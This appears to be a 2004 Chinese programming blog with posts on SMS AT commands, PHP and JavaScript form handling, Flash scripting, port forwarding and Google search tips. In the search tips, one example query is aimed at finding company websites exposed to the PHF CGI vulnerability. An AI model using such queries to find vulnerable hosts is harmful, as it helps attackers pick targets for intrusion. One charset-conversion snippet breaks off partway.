Write SMS message to memory(向SIM内存中写入待发的短消息)

AT+CMSS
Send SMS message from storage(从SIN|M内存中发送短消息)

AT+CNMI
New SMS message indications(显示新收到的短消息)

AT+CPMS
Preferred SMS message storage(选择短消息内存)

AT+CSCA
SMS service center address(短消息中心地址)

AT+CSCB
Select cell broadcast messages(选择蜂窝广播消息)

AT+CSMP
Set SMS text mode parameters(设置短消息文本模式参数)

AT+CSMS
Select Message Service(选择短消息服务)


对短消息的控制共有三种模式:
Block Mode

基于AT命令的PDU Mode

基于AT命令的Text Mode

使用Block模式需要手机生产厂家提供驱动支持,目前,PDU Mode 已取代 Block Mode, Text Mode比较简单,本文重点介绍模式PDU Mode,以西门子公司的产品TC35T为例。
2.计算机与TC35T的通信
(1)RS232串口连接
由于TC35T自带RS232串口线,故只需将其连接到计算机串口即可。打开超级终端,选择相应的串口,将端口参数设置为:速率—4800、奇偶校验位—无、数据位—8、停止位—1、流量控制—硬件。
(2)连接测试
输入“AT”然后回车,屏幕上返回“OK”表明计算机与TC35T已连接成功,TC35T能够正常工作。这时就可以测试各类AT命令。
当测试命令“AT+CMGS=?<CR>”时,如果返回“OK”标明TC35T支持该指令。该指令的完整语法如下:
如果此时TC35T处于PDU Mode(即“AT+CMGF?<CR>”返回“0”)

AT+CMGS=<length><CR>PDU is given<^Z/ESC>
如果短消息发送成功,则返回“OK”,并显示信息号:
+CMGS: <mr>[,<ackpdu>]
如果短消息发送失败,则返回如下信息号:
+CMS ERROR: <err>
如果此时TC35T处于Text Mode(即“AT+CMGF?<CR>”返回“1”)

AT+CMGS=<da>[,toda]<CR>text is entered<^Z/ESC>
如果短消息发送成功,则返回“OK”,并显示信息号:
+CMGS: <mr>[,<scts>]
如果短消息发送失败,则返回如下信息号:
+CMS ERROR: <err>
另外,由于使用的是TC35T,当有新的短消息到来时,需要TC35T产生提示,使用指令“AT+CNMI”。该指令的完整语法如下:
AT+CNMI=[<mode>][,<mt>][,<bm>][,<ds>][,<bfr>]
如果有新的短消息来到,则TC35T将自动返回下列提示:
+CMTI: “SM”, <index>
此时读出<index>,然后用“AT+CMGR”指令即可读出短消息内容。

shelly 发表于  2004-05-22 08:57:25


   SELECT多重选择时的变量传递    |   阅读全文   |   评论(1)  |  引用(trackback1)  

呵呵,很多人都可能用这种经历:

<select name=select1 multiple>

  <option value='1' selected> Select1 </option>
  <option value='2'> Select2 </option>
  <option value='3' selected> Select3 </option>
  <option value='4' selected> Select4 </option>

</select>

在PHP中最终得到的可是最后选择的那项的值。

呵呵,莫办法,GOOGLE了一下,发觉是

<select name="select1[]" multiple>

  <option value='1' selected> Select1 </option>
  <option value='2'> Select2 </option>
  <option value='3' selected> Select3 </option>
  <option value='4' selected> Select4 </option>

</select>

 

但这种方法有个问题,如果您要在客户端对复选框是否被选择、选择了几个用javascript来判断时,javascript会因为复选框的name中含有[]而出错。您可以在表单中加入一个隐含域,用javascript设置它的值。

<script language="javascript">
function check()
{
var strchoice="";
for(var i=0;i<document.news.choice.length;i++)
{
if (document.news.choice.checked)
{
strchoice=strchoice+document.news.choice.value+",";
}
}
if (!document.news.choice.length)
{
if (document.news.choice.checked)
{
strchoice=document.news.choice.value;+","
}
}
strchoice=strchoice.substring(0,strchoice.length-1);
document.news.choiceid.value=strchoice;
alert(document.news.choiceall.value);
}
</script>
<html>
...
<form name="news" action="test.php" method="post" onsubmit="check()">
<input type="checkbox" name="choice" value="1">
<input type="checkbox" name="choice" value="2">
<input type="checkbox" name="choice" value="3">
<input type="checkbox" name="choice" value="4">
<input type="hidden" name="choiceid" value="">
</form>
...
</html>

shelly 发表于  2004-05-17 14:42:53


   关于JS中各对象方法事件    |   阅读全文   |   评论(1)  |  引用(trackback1)  
shelly 发表于  2004-05-17 11:09:32


   JS对FLASH内部变量的交互    |   阅读全文   |   评论(2)  |  引用(trackback1)  

以前在我在 http://members.lycos.co.uk/tencent/  上保留的文章,不在了。

最后在 http://www.macromedia.com 上找到答案:

JavaScript 操作FLASH 关键要注意以下几点:

    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
 width=400 height=180 id="myFlash">

    <embed src="javascript_to_flash.swf" quality=high width=400 height=180 type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" name="myFlash" swliveconnect="true">

    function doPassVar(args){
 var sendText = args.value;
 window.document.myFlash.SetVariable("myVar", sendText);
}

附可控制Flash Player的Javascript方法:
一览表:
Play() ---------------------------------------- 播放动画
StopPlay()------------------------------------停止动画
IsPlaying()----------------------------------- 动画是否正在播放
GotoFrame(frame_number)---------------- 跳转到某帧
TotalFrames()------------------------------- 获取动画总帧数
CurrentFrame()------------------------------回传当前动画所在帧数-1
Rewind()-------------------------------------使动画返回第一帧
SetZoomRect(left,top,right,buttom)-------放大指定区域
Zoom(percent)------------------------------改变动画大小
Pan(x_position,y_position,unit)------------使动画在x,y方向上平移
PercentLoaded()----------------------------返回动画被载入的百分比
LoadMovie(level_number,path)----------- 加载动画
TGotoFrame(movie_clip,frame_number)- movie_clip跳转到指定帧数
TGotoLabel(movie_clip,label_name)------ movie_clip跳转到指定标签
TCurrentFrame(movie_clip)--------------- 回传movie_clip当前帧-1
TCurrentLabel(movie_clip)-----------------回传movie_clip当前标签
TPlay(movie_clip)---------------------------播放movie_clip
TStopPlay(movie_clip)----------------------停止movie_clip的播放
GetVariable(variable_name)-----------------获取变量
SetVariable(variable_name,value)-----------变量赋值
TCallFrame(movie_clip,frame_number)---call指定帧上的action
TCallLabel(movie_clip,label)----------------call指定标签上的action
TGetProperty(movie_clip,property)--------获取movie_clip的指定属性
TSetProperty(movie_clip,property,number)-设置movie_clip的指定属性

 

FLASH 操作 JavaScript 关键要注意以下几点:

on (release) {
  fscommand ("send_var", inputVar);
}

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/
flash/swflash.cab#version=5,0,0,0"
width=366 height=142 id="myFlash">

<embed src="javascript_to_flash.swf" quality=high
width=366 height=142
type="application/x-shockwave-flash"

pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?
P1_Prod_Version=ShockwaveFlash" name="myFlash" swLiveConnect="true">
</embed>

function myFlash_DoFSCommand(command, args)                {
  var myFlashObj = InternetExplorer ? myFlash : document.myFlash;
  alert (args);
}

 

http://www.macromedia.com/support/flash/ts/documents/java_script_comm.htm

shelly 发表于  2004-05-15 12:18:01


   PHPLIB 的模板嵌套    |   阅读全文   |   评论(1)  |  引用(trackback1)  

FROM :PHPE.NET

<?php

$t = new Template("/home/mydir/mytemplates/");

// 这三行同第一个例子一样
$t->set_file("MyFileHandle","MyTemplate.ihtml");
$t->set_var("some_color",$my_color);
$t->parse("MyOutput","MyFileHandle");

// 注意我们没有调用p()
// 这里,仍然没有输出任何东西

// 现在分析第二个模板
$t->set_file("WholeHandle","wholePage.ihtml");

// wholePage.ihtml 有 "{MyOutput}" 在里面
$t->parse("MyFinalOutput","WholeHandle");

// 所有的 {MyOutput} 被替换了
$t->p("MyFinalOutput");
// 输出 MyFinalOutput 的值

?>

 

下面是其中几个函数的使用

$T->Set_File("随便定义","模板文件.tpl");

$T->Set_Block("在set_file中定义的","<!-- 来自模板 -->","随便定义");

$T->Parse("在Set_Block中定义的","<!-- 来自模板 -->",true);

$T->Parse("随便输出结果","在Set_File中定义的");

设置循环格式为:

<!--(多于一个空格) BEGIN $handle(多于一个空格)-->

如何将模板生成静态网页

PHP代码:--------------------------------------------------------------------------------

<?php
//这里使用phplib模板
  ............
  ............
  $tpl->parse("output","html");
  $output = $tpl->get("output");// $output 为整个网页内容


  function wfile($file,$content,$mode='w') {
  $oldmask = umask(0);
  $fp = fopen($file, $mode);
  if (!$fp) return false;
  fwrite($fp,$content);
  fclose($fp);
  umask($oldmask);
  return true;
}
  // 写到文件里
  Wfile($FILE,$output);
  header("location:$FILE");//重定向到生成的网页
}
?>

 

唉,还是去官方站点啃E文档算了。

http://www.sanisoft.com/phplib/manual/index.php
--------------------------------------------------------------------------------

shelly 发表于  2004-05-13 16:08:02


   常用代理软件的端口映射方法。~~    |   阅读全文   |   评论(0)  |  引用(trackback1)  
出处: pc286.com   作者:不详


1,如何设置sygate在局域网内架设web,ftp,mail服务器?

--------------------------------------------------------------------------------

在SYGATE里面的ACCESS RULE来设置就可以了。设置方法如下:
比如你的拨号机器为192.168.0.1, WEB服务器在192.168.0.10。
那么设置方法就是在菜单tools
->access rules里面点add
->import a rule from system
-> 在下拉框种选择our web server,
然后用“detail”,看到的
direction :in,
client 192.168.0.10,
destport:80。


2,如何用windows的“internet连接共享”中设置端口转发?

--------------------------------------------------------------------------------

以在内部pc 192.168.1.2上架设web server为例子,web的一般默认端口是80,设置如下:
1,右击“桌面”的“网上邻居”,查看“属性”;
2,右击相应网络连接,查看“属性”中的“共享”,点击“设置”;
3,在“服务”的标签中点“填加”,在“服务名”中填写您要的名称,例如“WEB”,在“服务端口”中填写80,使用的协议选tcp。
4,在“专用网络服务器计算机的名称或地址”填写内部提供服务的服务器的ip地址,然后点击“确定”就可以了


3,如何设置winroute在局域网内架设web服务器?

--------------------------------------------------------------------------------

以架设web server为例:
1、打开Winroute Administration。
2、点击settings->advanced->port mapping按钮,在port mapping 页面中点击add,打开settings对话框。
3、在protocol中选择tcp。
4、选择Listen single port,并填写使用的端口号80。
5、在destination中填写内部提供web服务的计算机内部网络地址,比如 192.168.0.10。
6、点击ok。
7、重新连接Internet

4,如何设置wingate在局域网内架设web服务器?

--------------------------------------------------------------------------------

以架设web server为例:
1. 开启GateKeeper,在左面点击WWW Proxy Service,按鼠标右键,进入WWW Proxy Service的属性页,在General页中将Service端口设置发布Web所使用的端口,一般为80,这样Wingate开放了一个80端口的HTTP代理服务。
2. 进入Bindings页,选择第一个选项即Allow Connections coming in on any internet connections。
3. 重要的是在Non-Proxy Requests页,默认是选择了Reject Request,把它改为Pipe request through to predetermined。在下面Server和Port栏中,填局域网中内部提供Web服务的机器的IP地址和端口(比如192.168.0.10,80)。
这样,Wingate就将外部对80端口的HTTP请求转发到局域网中IP地址为192.168.0.10这台电脑的80端口去。只要192.168.0.80电脑的IIS正确设置了80端口的Web服务,就能被局域网外部访问到。
4. 确定并保存。

5,如何用PortTunnel做端口转发在局域网内架设web服务器?

--------------------------------------------------------------------------------

以架设web server为例,网关地址192.168.0.1,web server的内网地址为192.168.0.10:
1,首先,在192.168.0.1上没有占用80端口;
2,在192.168.0.1 上安装“PortTunnel”软件;
3,运行“PortTunnel”软件,在首窗口内点击“Add”按钮;
4,在弹出窗口的“main”里面配置如下:
name:web
enabled:打勾
port in:80
bind address:any(0.0.0.0)
port out:80
address out:192.168.0.10
5,点击“OK”按钮保存就可以了。
shelly 发表于  2004-05-08 14:12:23


   JS 巨好在线调试工具 :)    |   阅读全文   |   评论(2)  |  引用(trackback1)  
Debug Textarea


        


<HTML>
<HEAD>
<TITLE>Debug Textarea</TITLE>
<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>
</HEAD>
<style>
* {
 font-size: 12px
}
body {
 margin: 10px; padding: 0px
}
table.list{
 cursor: default;
 border:1px solid #cccccc
 background-color: #cccccc;
 border-collapse: collapse;
 border-Color: #cccccc;
}
</style>
<script language="javascript">
// Coded by windy_sk <windy_sk@126.com> 20040205

function reportError(msg,url,line) {
 var str = "You have found an error as below: \n\n";
 str += "Err: " + msg + " on line: " + line;
 alert(str);
 return true;
}

window.onerror = reportError;


document.onkeydown = function() {
 if(event.ctrlKey){
  switch(event.keyCode) {
   case 82: //r
    runcode();
    break;
   case 83: //s
    savecode();
    break;
   case 71: //g
    goto(prompt('Please input the line number', '1'));
    break;
   case 65: //a
    document.execCommand("SelectAll");
    break;
   case 67: //c
    document.execCommand("Copy");
    break;
   case 88: //x
    document.execCommand("Cut");
    break;
   case 86: //v
    document.execCommand("Paste");
    break;
   case 90: //z
    document.execCommand("Undo");
    break;
   case 89: //y
    document.execCommand("Redo");
    break;
   default:
    break;
  }
  event.keyCode = 0;
  event.returnValue = false;
 }
 return;
}


function show_ln(){
 var txt_ln  = document.getElementById('txt_ln');
 var txt_main  = document.getElementById('txt_main');
 txt_ln.scrollTop = txt_main.scrollTop;
 while(txt_ln.scrollTop != txt_main.scrollTop) {
  txt_ln.value += (i++) + '\n';
  txt_ln.scrollTop = txt_main.scrollTop;
 }
 return;
}


function editTab(){
 var code, sel, tmp, r;
 event.returnValue = false;
 sel =event.srcElement.document.selection.createRange();
 r = event.srcElement.createTextRange();

 switch (event.keyCode){
  case (8) :
   if (!(sel.getClientRects().length > 1)){
    event.returnValue = true;
    return;
   }
   code = sel.text;
   tmp = sel.duplicate();
   tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top);
   if(sel.parentElement() != tmp.parentElement()) return;;
   sel.setEndPoint('startToStart', tmp);
   sel.text = sel.text.replace(/^\t/gm, '');
   code = code.replace(/^\t/gm, '').replace(/\r\n/g, '\r');
   r.findText(code);
   r.select();
   break;
  case (9) :
   if (sel.getClientRects().length > 1){
    code = sel.text;
    tmp = sel.duplicate();
    tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top);
    if(sel.parentElement() != tmp.parentElement()) return;
    sel.setEndPoint('startToStart', tmp);
    sel.text = '\t'+sel.text.replace(/\r\n/g, '\r\t');
    code = code.replace(/\r\n/g, '\r\t');
    r.findText(code);
    r.select();
   }else{
    sel.text = '\t';
    sel.select();
   }
   break
  case (13) :
   tmp = sel.duplicate();
   tmp.moveToPoint(r.getBoundingClientRect().left, sel.getClientRects()[0].top);
   if(sel.parentElement() != tmp.parentElement()) return;
   tmp.setEndPoint('endToEnd', sel);
   sel.text = '\r\n' + tmp.text.replace(tmp.text.replace(/^[\t ]+/g, ""),"");
   sel.select();
   break;
  default  :
   event.returnValue = true;
   break;
 }
 return;
}


function runcode() {
 var str = document.getElementById("txt_main").value;
 var code_win = window.open('about:blank');
 code_win.document.open();
 code_win.document.writeln("<script>");
 code_win.document.writeln("function reportError(msg,url,line){\nline-=14;\nvar str='You have found an error as below: \\n\\n';\nstr+='Err: '+msg+' on line: '+(line);\nalert(str);\nopener.goto(line);\nopener.focus();\nwindow.onerror=null;\nsetTimeout('self.close()',10);\nreturn true;\n}");
 code_win.document.writeln("window.onerror = reportError;");
 code_win.document.writeln("<\/script>");
 code_win.document.writeln(str);
 code_win.document.close();
 return;
}


function savecode() {
 var str = document.getElementById("txt_main").value;
 var code_win = window.open('about:blank','_blank','top=10000');
 code_win.document.open();
 code_win.document.writeln(str);
 code_win.document.close();
 code_win.document.execCommand('saveas','','code.html');
 code_win.close();
 return;
}


function goto(ln) {
 if(!/^\d+$/.test(ln) || ln==0) return;
 var obj = document.getElementById("txt_main");
 var rng = obj.createTextRange();
 var arr = obj.value.split(/\n/);
 if(ln>arr.length) ln = arr.length;
 var str_tmp = "";
 for(var i=0; i<ln-1; i++) {
  str_tmp += arr[i];
 }
 rng.moveStart('character',str_tmp.length);
 str_tmp = "";
 for(i=ln; i<arr.length; i++) {
  str_tmp += arr[i];
 }
 rng.moveEnd('character',-str_tmp.length);
 rng.select();
 return;
}

window.onload = function() {document.getElementById("txt_main").value = "<script>\nalert(')\n<\/script>";}
</script>
<table width='600' class='list' border='1' bgcolor='#eeeeee' bordercolorlight='#000000' bordercolordark='#FFFFFF' cellpadding='0' cellspacing='0'>
  <tr bgcolor='#cccccc'>
    <td colspan='2' height='20' align='center'><b>Debug Textarea</b></td>
  </tr>
  <tr>
    <td colspan='2'>
        <table width='95%' border='0' align='center' >
   <tr>
     <td align='center'><br />
       <textarea id='txt_ln' name='content' rows='10' style='width:40px;overflow:hidden;height:200px;border-right:0px;text-align:right;line-height:14px' onselectstart='this.nextSibling.focus();return false' readonly></textarea><textarea id='txt_main' name='content' rows='10' cols='80' onkeydown='editTab()' onkeyup='show_ln()' onscroll='show_ln()' wrap='off' style='overflow:auto;height:200px;padding-left:5px;border-left:0px;line-height:14px'></textarea>
       <script>for(var i=1; i<=20; i++) document.getElementById('txt_ln').value += i + '\n';</script>
     </td>
   </tr>
          <tr>
            <td align='center'><br />
              <input type='button' value=' 运 行 ' onclick='runcode()' accesskey='r'>&nbsp;&nbsp;
              <input type='button' value=' 保 存 ' onclick='savecode()' accesskey='s'>&nbsp;&nbsp;
              <input type='button' value=' 跳 转 ' onclick="goto(prompt('Please input the line number', '1'))"  accesskey='g'>&nbsp;&nbsp;
            </td>
          </tr>
        </table>
    </td>
  </tr>
</table>


 

shelly 发表于  2004-05-07 14:01:13


   巧用 ADODB.Stream 做页子的编码转换。    |   阅读全文   |   评论(0)  |  引用(trackback1)  

<body>
<div id=xxx></div>
<script language="JavaScript">

function charsetConvert(str,oldCharset,newCharset){
 var stream=new ActiveXObject("ADODB.Stream");
 stream.type=2;
 stream.Mode=0;
 stream.Open();
 stream.Charset=newCharset;
 stream.WriteText(str);
 stream.Position= 0;
 stream.Type= 2;
 stream.Charset=oldCharset;
 var s=stream.ReadText();
 stream.Close();
 return s;
}
var t=new Date();
xxx.innerHTML+=charsetConvert("UTF-8涓

shelly 发表于  2004-05-07 12:55:04


   MySQL 条件正则资料页    |   阅读全文   |   评论(1)  |  引用(trackback1)  
shelly 发表于  2004-05-01 01:44:36


   JS Check 值操作。/:D 留个范例在这里。    |   阅读全文   |   评论(0)  |  引用(trackback1)  

<form name="myform">
<input type="checkbox" name="price" value=1000 onclick=countot()>1000<BR>
<input type="checkbox" name="price" value=2000 onclick=countot()>2000<BR>
<input type="checkbox" name="price" value=3000 onclick=countot()>3000<BR>
<input type="checkbox" name="price" value=4000 onclick=countot()>4000<BR>
<input type="text" name="labelForPrice" value=0>
</form>
<script>
function countot()
{
     var objSrc=document.myform.price;
     var totPrice=0;
     for(var i=0;i<objSrc.length;i++)
     {
            if(objSrc[i].checked == true)
                   totPrice+=parseInt(objSrc[i].value);

     }
     document.myform.labelForPrice.value=totPrice;
}
</script>

 

1000
2000
3000
4000
shelly 发表于  2004-04-27 19:11:29


   Google 搜索技巧    |   阅读全文   |   评论(0)  |  引用(trackback0)  

google搜索技巧

搜索技巧

一,GOOGLE简介

Google是一个搜索引擎,由两个斯坦福大学博士生Larry Page与Sergey Brin于1998年9月发明,Google Inc. 于1999年创立。

二,GOOGLE特色

GOOGLE支持多达132种语言,包括简体中文和繁体中文;
GOOGLE网站只提供搜索引擎功能,没有花里胡哨的累赘;
GOOGLE速度极快,据说有8000多台服务器,200多条T3级宽带;

GOOGLE的专利网页级别技术PageRank能够提供高命中率的搜索结果;
GOOGLE的搜索结果摘录查询网页的部分具体内容,而不仅仅是网站简介;
GOOGLE智能化的“手气不错”功能,提供可能最符合要求的网站;
GOOGLE的“网页快照”功能,能从GOOGLE服务器里直接取出缓存的网页。

三,基本搜索:+,-,OR

GOOGLE无需用明文的“+”来表示逻辑“与”操作,只要空格就可以了。

示例:搜索所有包含关键词“易筋经”和“吸星大法”的中文网页
搜索:“易筋经 吸星大法”
结果:已搜索有关易筋经 吸星大法的中文(简体)网页。共约有726项查询结果,这是第1-10项。搜索用时0.13秒。

注意:文章中搜索语法外面的引号仅起引用作用,不能带入搜索栏内。

GOOGLE用减号“-”表示逻辑“非”操作。

示例:搜索所有包含“易筋经”而不含“吸星大法”的中文网页
搜索:“易筋经 -吸星大法”
结果:已搜索有关易筋经 -吸星大法的中文(简体)网页。共约有5,440项查询结果,这是第1-10项。搜索用时0.13秒。

注意:这里的“+”和“-”号,是英文字符,而不是中文字符的“+”和“-”。此外,操作符与作用的关键字之间,不能有空格。比如“易筋经 - 吸星大法”,搜索引擎将视为逻辑“与”操作,中间的“-”被忽略。

GOOGLE用大写的“OR”表示逻辑“或”操作。但是,关键字为中文的或查询似乎还有BUG,无法得到正确的查询结果。

示例:搜索包含布兰妮“Britney”或者披头士“Beatles”、或者两者均有的中文网页。
搜索:“britney OR beatles”
结果:已搜索有关britney OR beatles的中文(简体)网页。共约有14,600项查询结果,这是第1-10项。搜索用时0.08秒。
搜索:“布兰妮 OR 披头士”
结果:找不到和您的查询-布兰妮 OR 披头士-相符的网页。

注意:小写的“or”,在查询的时候将被忽略;这样上述的操作实际上变成了一次“与”查询。

“+”和“-”的作用有的时候是相同的,都是为了缩小搜索结果的范围,提高查询结果命中率。

例:查阅天龙八部具体是哪八部。

分析:如果光用“天龙八部”做关键字,搜索结果有26,500项,而且排前列的主要与金庸的小说《天龙八部》相关,很难找到所需要的资讯。可以用两个方法减少无关结果。

1,如果你知道八部中的某一部,比如阿修罗,增加“阿修罗”关键字,搜索结果就只有995项,可以直接找到全部八部,“天龙八部 阿修罗”。

2,如果你不知道八部中的任何一部,但知道这与佛教相关,可以排除与金庸小说相关的记录,查询结果为1,010项,可以迅速找到需要的资料,“天龙八部 佛教 -金庸”。

四,辅助搜索:通配符、大小写、句子、忽略字符以及强制搜索

GOOGLE不支持通配符,如“*”、“?”等,只能做精确查询,关键字后面的“*”或者“?”会被忽略掉。

GOOGLE对英文字符大小写不敏感,“GOD”和“god”搜索的结果是一样的。

GOOGLE的关键字可以是词组(中间没有空格),也可以是句子(中间有空格),但是,用句子做关键字,必须加英文引号。

示例:搜索包含“long, long ago”字串的页面。
搜索:“"long, long ago"”
结果:已向英特网搜索"long, long ago". 共约有28,300项查询结果,这是第1-10项。搜索用时0.28秒。

注意:和搜索英文关键字串不同的是,GOOGLE对中文字串的处理并不十分完善。比如,搜索“"啊,我的太阳"”,我们希望结果中含有这个句子,事实并非如此。查询的很多结果,“啊”、“我的”、“太阳”等词语是完全分开的,但又不是“啊 我的 太阳”这样的与查询。显然,GOOGLE对中文的支持尚有欠缺之处。

GOOGLE对一些网路上出现频率极高的词(主要是英文单词),如“i”、“com”,以及一些符号如“*”、“.”等,作忽略处理,如果用户必须要求关键字中包含这些常用词,就要用强制语法“+”。

示例:搜索包含“Who am I ?”的网页。如果用“"who am i ?"”,“Who”、“I”、“?”会被省略掉,搜索将只用“am”作关键字,所以应该用强制搜索。
搜索:“"+who +am +i"”
结果:已向英特网搜索"+who +am +i". 共约有362,000项查询结果,这是第1-10项。搜索用时0.30秒。

注意:英文符号(如问号,句号,逗号等)无法成为搜索关键字,加强制也不行。

五,高级搜索:site,link,inurl,allinurl,intitle,allintitle

“site”表示搜索结果局限于某个具体网站或者网站频道,如“sina.com.cn”、“edu.sina.com.cn”,或者是某个域名,如“com.cn”、“com”等等。如果是要排除某网站或者域名范围内的页面,只需用“-网站/域名”。

示例:搜索中文教育科研网站(edu.cn)上所有包含“金庸”的页面。
搜索:“金庸 site:edu.cn”
结果:已搜索有关金庸 site:edu.cn的中文(简体)网页。共约有2,680项查询结果,这是第1-10项 。搜索用时0.31秒。

示例:搜索包含“金庸”和“古龙”的中文新浪网站页面,
搜索:“金庸 古龙 site:sina.com.cn”
结果:已在sina.com.cn搜索有关金庸 古龙的中文(简体)网页。共约有869项查询结果,这是第1-10项。搜索用时0.34秒。

注意:site后的冒号为英文字符,而且,冒号后不能有空格,否则,“site:”将被作为一个搜索的关键字。此外,网站域名不能有“http”以及“www”前缀,也不能有任何“/”的目录后缀;网站频道则只局限于“频道名.域名”方式,而不能是“域名/频道名”方式。诸如“金庸 site:edu.sina.com.cn/1/”的语法是错误的。

“link”语法返回所有链接到某个URL地址的网页。

示例:搜索所有含指向google吧“www.google8.net”链接的网页。
搜索:“link:www.google8.net
结果:搜索有链接到www.google8.net的网页。共约有55项查询结果,这是第1-10项。搜索用时0.13秒。

注意:“link”不能与其他语法相混合操作,所以“link:”后面即使有空格,也将被GOOGLE忽略。

inurl语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如“MP3”、“GALLARY”等,于是,就可以用INURL语法找到这些相关资源链接,然后,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。

示例:查找MIDI曲“沧海一声笑”。
搜索:“inurl:midi 沧海一声笑”
结果:已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。共约有14项查询结果,这是第1-10项。搜索用时0.01秒。

示例:查找微软网站上关于windows2000的安全课题资料。
搜索:“inurl:security windows2000 site:microsoft.com”
结果:已在microsoft.com内搜索有关 inurl:security windows2000的网页。共约有198项查询结果,这是第1-10项。搜索用时0.37秒。

注意:“inurl:”后面不能有空格,GOOGLE也不对URL符号如“/”进行搜索。GOOGLE对“cgi-bin/phf”中的“/”当成空格处理。

allinurl语法返回的网页的链接中包含所有查询关键字。这个查询的对象只集中于网页的链接字符串。

示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是“域名/cgi-bin/phf”。
语法:“allinurl:"cgi-bin" phf +com”
搜索:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有40项查询结果,这是第1-10项。搜索用时0.06秒。

allintitle和intitle的用法类似于上面的allinurl和inurl,只是后者对URL进行查询,而前者对网页的标题栏进行查询。网页标题,就是HTML标记语言title中之间的部分。网页设计的一个原则就是要把主页的关键内容用简洁的语言表示在网页标题中。因此,只查询标题栏,通常也可以找到高相关率的专题页面。

示例:查找日本明星藤原纪香的照片集。
搜索:“intitle:藤原纪香 写真”
结果:已搜索有关intitle:藤原纪香 写真的中文(简体)网页。共约有284项查询结果,这是第1-10项。搜索用时0.03秒。

GOOGLE的罕用高级搜索语法:related,cache,info

related用来搜索结构内容方面相似的网页。例:搜索所有与中文新浪网主页相似的页面(如网易首页,搜狐首页,中华网首页等),“related:www.sina.com.cn/index.shtml”。

cache用来搜索GOOGLE服务器上某页面的缓存,这个功能同“网页快照”,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的“网页快照”功能。

info用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。

示例:查找和GOOGLE吧相关的一些资讯。
搜索:“info:www.google8.net”
结果:有关www.google8.net的网页信息。
google8.net|google的绿色通道|
→Google吧 搜索引擎的学习、记录、思考、应用。[blog
摘要:搜索引擎、google排名、网站推广、网络营销], ...


Google 提供这个网址的信息:


  • 查看Google网页快照里www.google8.net的存档
  • 寻找和www.google8.net类似的网页
  • 寻找网页有链接到www.google8.net
  • 寻找网页包含有www.google8.net



六,其他重要功能

目录服务

如果不想搜索网页,而是想寻找某些专题网站,可以访问GOOGLE的分类目录“http://directory.google.com/”,中文目录是“http://directory.google.com/Top/World/Chinese_Simplified/”。不过由于GOOGLE的目录由Dmoz志愿者服务,而GOOGLE在国内名气相对比较小,因此中文目录下收录站点很少。

工具条

为了方便搜索者,GOOGLE提供了工具条,集成于浏览器中,用户无需打开GOOGLE主页就可以在工具条内输入关键字进行搜索。此外,工具条还提供了其他许多功能,如显示页面PageRank等。最方便的一点在于用户可以快捷的在GOOGLE主页、目录服务、新闻组搜索、高级搜索和搜索设定之间切换。欲安装GOOGLE的工具条,可以访问“http://toolbar.google.com/”,按页面提示可以自动下载并安装。

新闻组(USENET)搜索

新闻组中有大量的有价值信息,DEJA一直是新闻组搜索引擎中的佼佼者。2001年2月份,GOOGLE将DEJA收购并提供了所有DEJA的功能。现在,除了搜索之外,GOOGLE还支持新闻组的WEB方式浏览和张贴功能。

输入“http://groups.google.com/”后,便进入GOOGLE新闻组界面。可惜现在还没有中文界面。因为新闻组中的帖子实在是多,所以我点击“Advaced Groups Search”进入高级搜索界面http://groups.google.com/advanced_group_search。新闻组高级搜索界面提供对关键字、新闻组、主题、作者、帖子序号、语言和发布日期的条件搜索。其中作者项指作者发帖所用的唯一识别号电子信箱。比如要在alt.chinese.text内搜索著名老牌网络写手图雅的帖子,可以用下列指令“group:alt.chinese.text author:tuya@ccmail.uoregon.edu”。不过一般而言,我更推荐使用图形搜索界面,方便而且直观。

搜索结果翻译

曾经为那些你不懂的法文、西班牙文页面烦恼么?现在,GOOGLE支持一项搜索结果翻译功能,可以把非英文的搜索结果翻译成英文!!虽然目前只支持有限的拉丁语、法语、西班牙语、德语和葡萄牙文,但是我不得不承认,这是个伟大的改进。

不过,目前只能在英文状态GOOGLE下实现这个功能。进入GOOGLE的设置页面,http://www.google.com/preferences,有一个“BETA: Enable translation of search results into your interface language. ”的选项,把它选中,就OK了。

搜索结果过滤

网络上的成人内容浩如烟海,而且很多站点具有欺骗或者其他不良企图,浏览者很容易掉入其中的陷阱。为此,GOOGLE新设立了成人内容过滤功能,见GOOGLE的设置页面,http://www.google.com/preferences,最底下有一个选项SafeSearch Filtering。不过,中文状态下的GOOGLE尚没有这个功能。

PDF文档搜索

我对GOOGLE尤其欣赏的一点就是它提供对PDF文档内文的检索。目前GOOGLE检索的PDF文档大约有2500万左右。这真是太美妙了。PDF是ADOBE公司开发的电子文档格式,现在已经成为互联网的电子化出版标准。PDF文档通常是一些图文并茂的综合性文档,提供的资讯一般比较集中全面。

示例:搜索关于电子商务(ECOMMERCE)的PDF文档。
搜索:“inurl:pdf ecommerce”
结果:已向英特网搜索inurl:pdf ecommerce. 共约有19,200项查询结果,这是第1-10项。搜索用时0.11秒。

下面是某项搜索结果:

[PDF] www.usi.net/pdf/outsoucing-ecommerce.pdf
Outsourcing Electronic Commerce Business Case White Paper By: John P. Sahlin, Product
Marketing Professonial (PMP) Implementation Manager, Web Engineering ...
一般文字档 - 类似网页

可以看到,GOOGLE在PDF档前加上了[PDF]的标记,而且,GOOGLE把PDF文件转换成了文字档,点击“一般文字档”,可以粗略的查看该PDF文档的大致内容。当然,PDF原有的图片以及格式是没有了。

图像文档搜索

